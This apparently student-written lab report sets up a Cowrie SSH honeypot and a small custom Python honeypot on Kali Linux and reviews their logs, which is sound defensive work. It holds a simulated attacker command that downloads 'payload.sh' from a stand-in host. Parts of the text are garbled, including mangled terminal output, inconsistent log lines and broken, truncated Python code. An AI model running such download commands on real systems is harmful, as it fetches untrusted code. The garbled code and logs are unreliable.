

1.Executive Summary

Objective. Build a regulated, isolated honeypot lab to observe attacker behavior safely, aggregate logs, and critically analyze results.

Key Findings. The Cowrie honeypot successfully emulated SSH (and optional Telnet), captured interactive sessions, recorded credentials and commands, and stored attempted payloads. Network isolation and egress controls prevented abuse. Key observations included common brute-force username/password pairs, automated reconnaissance commands, and scripted download attempts.

Business/Security Value. The lab demonstrates how deception can surface attacker TTPs (techniques, tactics, procedures) to improve hardening, detection rules, and threat intel

2.Steps for set up the honeypot :

2.1 Add user

At first I have added another user on my kali linux machine and then I have cloned the git of cowrie and installed requirement package for the projet

```
—(cowrie@kali)-[/home/kali]
$ git clone https://github.com/cowrie/cowrie.git
fatal: could not create work tree dir 'cowrie': Permission denied

—(cowrie@kali)-[/home/kali]
$ sudo su
sudo] password for cowrie: [1] kali:collins@kali: sshd@authbind.sshd@ 2.2.0 [10.0.0.0]
orry, try again.
sudo] password for cowrie: [2] package:authbind.
orry, try again.
sudo] password for cowrie: [3] files and directories currently installed.)
sudo: 2 incorrect password attempts

—(cowrie@kali)-[/home/kali]
$ cd ~
$ git clone https://github.com/cowrie/cowrie.git
Cloning into 'cowrie' ...
remote: Enumerating objects: 19381, done.
remote: Counting objects: 100% (371/371), done.
remote: Compressing objects: 100% (191/191), done.
remote: Total 19381 (delta 335), reused 181 (delta 180), pack-reused 19010 (from 3)
receiving objects: 100% (19381/19381), 10.59 MiB | 4.16 MiB/s, done.
resolving deltas: 100% (13594/13594), done.
—(cowrie@kali)-[~/cowrie]
$ cd cowrie
—(cowrie@kali)-[~/cowrie]
$ python3 -m venv cowrie-env
—(cowrie@kali)-[~/cowrie]
$ source cowrie-env/bin/activate
—(cowrie-env)-(cowrie@kali)-[~/cowrie]
$ pip install --upgrade pip
Requirement already satisfied: pip in ./cowrie-env/lib/python3.13/site-packages (25.1.1)
Collecting pip
  Downloading pip-25.2-py3-none-any.whl.metadata (4.7 kB)
  Downloading pip-25.2-py3-none-any.whl (1.8 MB)
    1.8/1.8 MB 5.6 MB/s eta 0:00:00
Installing collected packages: pip
  Attempting uninstall: pip
    Found existing installation: pip 25.1.1
    Uninstalling pip-25.1.1:
      Successfully uninstalled pip-25.1.1
```

2.2 Run cowrie:

```
(cowrie-env)-(cowrie@kali)-[~/cowrie]
$ # From ~/cowrie
bin/cowrie status
ss -ltnp | grep 2222 # should show cowrie/twisted listening
tail -n 50 var/log/cowrie/cowrie.log

cowrie is running (PID: 54486).
LISTEN 0 50 0.0.0.0:2222 0.0.0.0:* users:((("twisted",pid=54486,fd=11))
2025-08-18T11:38:03.638153Z [-] Reading configuration from ['/home/cowrie/cowrie/etc/cowrie.cfg.dist', '/home/cowrie/cowrie/etc/cowrie.cfg']
2025-08-18T11:38:03.814182Z [-] Python Version 3.13.5 (main, Jun 25 2025, 18:55:22) [GCC 14.2.0]
2025-08-18T11:38:03.814211Z [-] Twisted Version 25.5.0
2025-08-18T11:38:03.814218Z [-] Cowrie Version 2.6.1
2025-08-18T11:38:03.815941Z [-] Loaded output engine: jsonlog
2025-08-18T11:38:03.816612Z [twisted.scripts.twistd_unix.UnixAppLogger#info] twisted 25.5.0 (/home/cowrie/cowrie/cowrie-env/bin/python3 3.13.5) starting up.
2025-08-18T11:38:03.821600Z [twisted.scripts.twistd_unix.UnixAppLogger#info] reactor class: twisted.internet.epollreactor.EPollReactor.
2025-08-18T11:38:03.822170Z [-] CowrieSSHFactory starting on 2222
2025-08-18T11:38:03.822464Z [cowrie.ssh.factory.CowrieSSHFactory#info] Starting factory <cowrie.ssh.factory.CowrieSSHFactory object at 0x7f2f76581010>
2025-08-18T11:38:03.877740Z [-] Generating new RSA keypair ...
2025-08-18T11:38:03.878789Z [-] Generating new ECDSA keypair ...
2025-08-18T11:38:03.885012Z [-] Generating new ed25519 keypair ...
2025-08-18T11:38:03.885012Z [-] Ready to accept SSH connections
```

2.3 Check logs:

```
-(cowrie-env)-(cowrie@kali)-[~/cowrie]
$ tail -f var/log/cowrie/cowrie.log
2025-08-18T11:44:05.571742Z [HoneyPotSSHTransport,0.127.0.0.1] Command found: wget http://example.com/payload.sh
2025-08-18T11:44:05.759532Z [HoneyPotSSHTransport,0.127.0.0.1] resolve_cname(example.com)
2025-08-18T11:44:05.758131Z [HoneyPotSSHTransport,0.127.0.0.1] b'/etc/resolve.conf' changed, reparsing
2025-08-18T11:44:05.758199Z [HoneyPotSSHTransport,0.127.0.0.1] resolver added ([192.168.152.2, 53] to server list
2025-08-18T11:44:05.758707Z [HoneyPotSSHTransport,0.127.0.0.1] DNSDatagramProtocol starting on 29535
2025-08-18T11:44:05.758823Z [HoneyPotSSHTransport,0.127.0.0.1] Starting protocol <twisted.names.dns.DNSDatagramProtocol object at 0x7f2f76583770>
2025-08-18T11:44:05.778362Z [-] (UDP Port 29535 closed)
2025-08-18T11:44:05.778509Z [-] Stopping protocol <twisted.names.dns.DNSDatagramProtocol object at 0x7f2f76583770>
2025-08-18T11:44:05.790042Z [twisted.web.client._HTTP11ClientFactory#info] Starting factory _HTTP11ClientFactory(<function HTTPConnectionPool._newConnection.<locals>.quiescentCallback at 0x7f2f75c91620>, <HostnameEndpoint example.com:80>)
2025-08-18T11:44:05.571742Z [HTTP11ClientProtocol,client] Downloaded URL (http://example.com/payload.sh) with SHA-256 ea8fac7c65fb589b0d53560f5251f74f9e9b243478dc6b3ea79b5e36449c8d9 to var/lib/cowrie/downloads/ea8fac7c65fb589b0d53560f5251f74f9e9b243478dc6b3ea79b5e36449c8d9
```

2.4 Test the Honeygot

Open another terminal and try some ssh on the port and execute some command to see the live view of cowrie how its working

```
(root@kali)-[/home/kali]
$ ssh root@127.0.0.1 -p 2222
The authenticity of host '[127.0.0.1]:2222 ([127.0.0.1]:2222)' can't be established.
ED25519 key fingerprint is SHA256:SdNo0WEeupDAqvU9QSVrPJwW0D1jXrKNdyk/zCmytRs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[127.0.0.1]:2222' (ED25519) to the list of known hosts.
root@127.0.0.1's password:
root@127.0.0.1:~#
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@svr04:~# ls
root@svr04:~# whoami
root
root@svr04:~# wget http://example.com/payload.sh
--2025-08-18 11:44:04-- http://example.com/payload.sh
Connecting to example.com:80 ... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1256 (1.2265625K) [text/html]
Saving to: '/root/payload.sh'

100% [====>] 1,256 3055.7K/s eta 0s

2025-08-18 11:44:05 (3055.71 KB/s) - '/root/payload.sh' saved [1256/1256]
root@svr04:~# timed out waiting for input: auto-logout
Connection to 127.0.0.1 closed.
```

2.5 Capture & Analyze Attacks

Analyze the live capture of honeypot

```
[~(cowrie-ens)-](cowrie@kali):~/cowrie
$ tail -f var/log/cowrie/cowrie.log
2025-08-18T11:44:08.757591Z [HoneyPotSSHTransport,0.127.0.0.1] Command found: wget http://example.com/payload.sh
2025-08-18T11:44:08.757932Z [HoneyPotSSHTransport,0.127.0.0.1] resolve_cname(example.com)
2025-08-18T11:44:08.758131Z [HoneyPotSSHTransport,0.127.0.0.1] b'/etc/resolve.conf' changed, repairing
2025-08-18T11:44:08.758199Z [HoneyPotSSHTransport,0.127.0.0.1] Resolver added ('192.168.153.2', 53) to server list
2025-08-18T11:44:08.758767Z [HoneyPotSSHTransport,0.127.0.0.1] DNSDatagramProtocol starting on 29535
2025-08-18T11:44:08.758823Z [HoneyPotSSHTransport,0.127.0.0.1] Starting protocol <twisted.names.dns.DNSDatagramProtocol object at 0x7f2f76583770>
2025-08-18T11:44:08.770368Z [-] (UDP Port 29535 Closed)
2025-08-18T11:44:08.770509Z [-] Stopping protocol <twisted.names.dns.DNSDatagramProtocol object at 0x7f2f76583770>
2025-08-18T11:44:08.790042Z [twisted.web.client._HTTP11ClientFactoryinfo] Starting factory _HTTP11ClientFactory(<function HTTPConnectionPool._newConnection.<locals>.quiescentCallback at 0x7f2f75c91620>, <HostnameEndpoint example.com:80>)
2025-08-18T11:44:08.578174Z [HTTP11ClientProtocol,client] Downloaded URL (http://example.com/payload.sh) with SHA-256 ea8fac7c65fb589bd53560f5251f74f9e9b243478dcbb3ea79b5e36449c8d9 to var/lib/cowrie/downloads/ea8fac7c65fb589bd53560f5251f74f9e9b243478dcbb3ea79b5e36449c8d9
2025-08-18T11:47:04.520222Z [twisted.conch.ssh.sessionInfo] exitCode: 1
2025-08-18T11:47:04.520391Z [cowrie.ssh.connection.CowrieSSHConnectionDebug] sending request b'exit-status'
2025-08-18T11:47:04.520608Z [-] Closing TTY Log: var/lib/cowrie/tty/83ed7b3121a24226c7d815a2da5b74fa22c7d856538bb3b7f24f2f7dd5f538510 after 222.1 seconds
2025-08-18T11:47:04.520702Z [cowrie.ssh.connection.CowrieSSHConnectionInfo] sending close 0
2025-08-18T11:47:04.521080Z [cowrie.ssh.session.HoneyPotSSHSessionInfo] remote close
2025-08-18T11:47:04.521232Z [HoneyPotSSHTransport,0.127.0.0.1] Got remote error, code 11 reason: b'disconnected by user'
2025-08-18T11:47:04.521456Z [HoneyPotSSHTransport,0.127.0.0.1] avatar root logging out
2025-08-18T11:47:04.521545Z [cowrie.ssh.transport.HoneyPotSSHTransportInfo] connection lost
2025-08-18T11:47:04.521598Z [HoneyPotSSHTransport,0.127.0.0.1] Connection lost after 235.6 seconds
2025-08-18T11:48:06.477587Z [twisted.web.client._HTTP11ClientFactoryinfo] Stopping factory _HTTP11ClientFactory(<function HTTPConnectionPool._newConnection.<locals>.quiescentCallback at 0x7f2f75c91620>, <HostnameEndpoint example.com:80>)
```

3. Custom made Honeypot

3.1 writing Code for honeypot and execute it on kali linux

```
File Actions Edit View Help
GNU nano 8.4 honeybot.py
#!/usr/bin/env python3
import argparse, datetime, json, socket, socketserver, sys
from pathlib import Path

class Handler(socketserver.BaseRequestHandler):
    def handle(self):
        now = datetime.datetime.utcnow().isoformat() + "Z"
        src_ip, src_port = self.client_address
        try:
            # Send a fake banner to keep scanners interested
            if self.server.banner:
                try:
                    self.request.sendall(self.server.banner.encode("utf-8", "ignore"))
                except Exception:
                    pass
            # Read a little data (non-blocking-ish)
            self.request.settimeout(2.0)
            try:
                data = self.request.recv(2048)
            except Exception:
                data = b""
            # Log event as JSON (one line per event)
            event = {
                "ts": now,
                "src_ip": src_ip,
                "src_port": src_port,
                "dst_port": self.server.server_address[1],
                "bytes_rx": len(data),
                "preview": data[:120].decode("utf-8", "ignore"),
            }
            with self.server.logfile.open("a", encoding="utf-8") as f:
                f.write(json.dumps(event) + "\n")
        finally:
            # Optional: reply a bit more if "http" mode
            if self.server.http_mode:
                resp = "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: 2\r\n\r\nOK"
                self.request.sendall(resp.encode("utf-8"))
            except Exception:
                pass
            try:
```

3.2 Scan nmap on the target port :

```
(root@kali)-[/home/kali]
# nc 127.0.0.1 2222
SSH-2.0-OpenSSH_8.2
sub.txt Desktop go Louisvultron
5233.py Documents goimp Musi
oll Downloads hydra.restore ngrok

(root@kali)-[/home/kali]
# nmap -sS 127.0.0.1 -p 2222
/home/kali/

Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-18 11:17 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000063s latency).

PORT      STATE SERVICE
2222/tcp  open  EtherNetIP-1

Nmap done: 1 IP address (1 host up) scanned in 0.10 seconds
[+] Logging to /home/kali/honeypot.log
DeprecationWarning: datetime.datetime.utcnow()
is deprecated, use datetime.datetime.now().isoformat() + "Z"
(root@kali)-[/home/kali]
# nc 127.0.0.1 2222
# Type: root:toor
```

3.3: Analyze the logs :

```
(root@kali)-[/home/kali]
# tail -f honeypot.log
{"ts": "2025-08-18T15:17:25.154801Z", "src_ip": "127.0.0.1", "src_port": 42630, "dst_port": 2222, "bytes_rx": 0, "preview": ""}
{"ts": "2025-08-18T15:19:12.875837Z", "src_ip": "127.0.0.1", "src_port": 53676, "dst_port": 2222, "bytes_rx": 0, "preview": ""}
{"ts": "2025-08-18T15:20:33.333659Z", "src_ip": "127.0.0.1", "src_port": 44724, "dst_port": 2222, "bytes_rx": 0, "preview": ""}
{"ts": "2025-08-18T15:20:59.713625Z", "src_ip": "127.0.0.1", "src_port": 60714, "dst_port": 2222, "bytes_rx": 0, "preview": ""}
^C
(root@kali)-[/home/kali]
```